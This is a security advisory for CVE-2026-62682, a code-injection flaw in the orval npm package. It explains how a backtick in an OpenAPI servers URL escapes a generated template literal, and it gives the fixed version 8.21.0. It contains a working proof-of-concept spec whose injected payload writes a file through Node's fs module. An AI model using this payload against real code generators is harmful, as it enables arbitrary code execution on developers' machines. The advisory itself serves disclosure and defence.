criticalCVE-2026-62682Sep 3, 2026

CVE-2026-62682: Orval Remote Code Execution via Unescaped Server URL in Template Literal

Rohit Hatagale
AI Security Researcher, SecureLayer7

When Orval is told to pull the base URL from your OpenAPI spec, a malicious servers[].url value can break out of the generated JavaScript template literal and execute arbitrary code on any machine…

Packageorval
Ecosystemnpm
Affected< 8.21.0
Fixed in8.21.0
CVE-2026-62682: Orval Remote Code Execution via Unescaped Server URL in Template Literal

The problem

Orval's getBaseUrlFromSpecification: true option reads servers[0].url from the OpenAPI spec and writes it directly into a JavaScript template literal in the generated fetch client, with no escaping of backticks or ${ sequences.

An attacker who controls or influences the spec can craft a server URL that contains a backtick. That single character terminates the template literal early, turning the rest of the URL into a live JavaScript expression that executes when the generated request function is called.

Proof of concept

A working proof-of-concept for CVE-2026-62682 in orval, with the exact payload below.

text
# Malicious OpenAPI servers block
openapi: 3.1.0
info:
  title: Pwn
  version: 0.0.1
servers:
  - url: "http://api.x/`+(globalThis.X=require('fs').writeFileSync('/marker','pwned'))+`"
paths:
  /v1/u:
    get:
      operationId: getUser
      responses:
        '200':
          description: ok

# Orval emits this into the generated client:
# const url = `http://api.x/`+(globalThis.X=require('fs').writeFileSync('/marker','pwned'))+`/v1/u`;
# Calling getUser() writes "/marker" to disk.

The root cause is a missing escaping step in the code path that calls getBaseUrlFromSpecification. The spec's servers[0].url string is concatenated directly into a template-literal string during code generation (CWE-94, CWE-116, CWE-1336). A backtick in the URL closes the surrounding template literal, and whatever follows is parsed as executable JavaScript, not string data.

PR #3692 (commit 8ef1bfdf) adds escaping of spec-controlled strings before they are emitted into template literals and object keys. The same commit fixed several related injection sinks across the orval codebase. The pattern mirrors the earlier jsStringEscape approach used to close the MCP/summary injection (CVE-2026-22785).

The fix

Upgrade orval to 8.21.0 or later. The fix (PR #3692, commit 8ef1bfdf3f9bcaf9dabfbe2e42887f1c0e159ab6) escapes backticks and ${ sequences in all spec-controlled strings before they are written into generated template literals. If immediate upgrade is not possible, avoid output.baseUrl.getBaseUrlFromSpecification: true with any spec whose servers[].url field is not fully trusted.

Reported by melloware.

References: [1][2][3][4][5][6]

Related research